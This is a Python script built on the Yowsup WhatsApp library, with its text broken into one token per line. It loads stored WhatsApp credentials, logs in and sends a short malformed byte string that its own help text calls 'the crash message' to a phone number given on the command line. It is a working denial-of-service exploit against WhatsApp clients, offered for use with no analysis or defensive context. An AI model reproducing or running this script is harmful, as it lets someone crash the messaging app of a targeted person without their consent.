import
argparse, sys, os, csv
from
Yowsup.Common.utilities
import
Utilities
from
Yowsup.Common.debugger
import
Debugger
from
Yowsup.Common.constants
import
Constants
from
Examples.CmdClient
import
WhatsappCmdClient
from
Examples.EchoClient
import
WhatsappEchoClient
from
Examples.ListenerClient
import
WhatsappListenerClient
from
Yowsup.Registration.v1.coderequest
import
WACodeRequest
from
Yowsup.Registration.v1.regrequest
import
WARegRequest
from
Yowsup.Registration.v1.existsrequest
import
WAExistsRequest
from
Yowsup.Registration.v2.existsrequest
import
WAExistsRequest as WAExistsRequestV2
from
Yowsup.Registration.v2.coderequest
import
WACodeRequest as WACodeRequestV2
from
Yowsup.Registration.v2.regrequest
import
WARegRequest as WARegRequestV2
from
Yowsup.Contacts.contacts
import
WAContactsSyncRequest
import
threading,time, base64
DEFAULT_CONFIG
=
os.path.expanduser(
"~"
)
+
"/.yowsup/auth"
COUNTRIES_CSV
=
"countries.csv"
DEFAULT_CONFIG
=
os.path.expanduser(
"~"
)
+
"/.yowsup/auth"
MINE_CONFIG
=
"config.cfg"
def
getCredentials(config
=
DEFAULT_CONFIG):
if
os.path.isfile(config):
f
=
open
(config)
phone
=
""
idx
=
""
pw
=
""
cc
=
""
try
:
for
l
in
f:
line
=
l.strip()
if
len
(line)
and
line[
0
]
not
in
(
'#'
,
';'
):
prep
=
line.split(
'#'
,
1
)[
0
].split(
';'
,
1
)[
0
].split(
'='
,
1
)
varname
=
prep[
0
].strip()
val
=
prep[
1
].strip()
if
varname
=
=
"phone"
:
phone
=
val
elif
varname
=
=
"id"
:
idx
=
val
elif
varname
=
=
"password"
:
pw
=
val
elif
varname
=
=
"cc"
:
cc
=
val
return
(cc, phone, idx, pw);
except
:
pass
return
0
def
main(phone):
credentials
=
getCredentials(MINE_CONFIG
or
DEFAULT_CONFIG )
if
credentials:
countryCode, login, identity, password
=
credentials
identity
=
Utilities.processIdentity(identity)
password
=
base64.b64decode(password)
message
=
message
=
"\xf4\xaa\xde\x04\xbf"
wa
=
WhatsappEchoClient(phone, message)
wa.login(login, password)
if
__name__
=
=
"__main__"
:
parser
=
argparse.ArgumentParser()
parser.add_argument(
"number"
,
help
=
"Phone number to send the crash message"
)
parser.add_argument(
"-v"
,
"--verbose"
,
help
=
"increase output verbosity"
, action
=
"store_true"
)
args
=
parser.parse_args()
Debugger.enabled
=
args.verbose
main(args.number)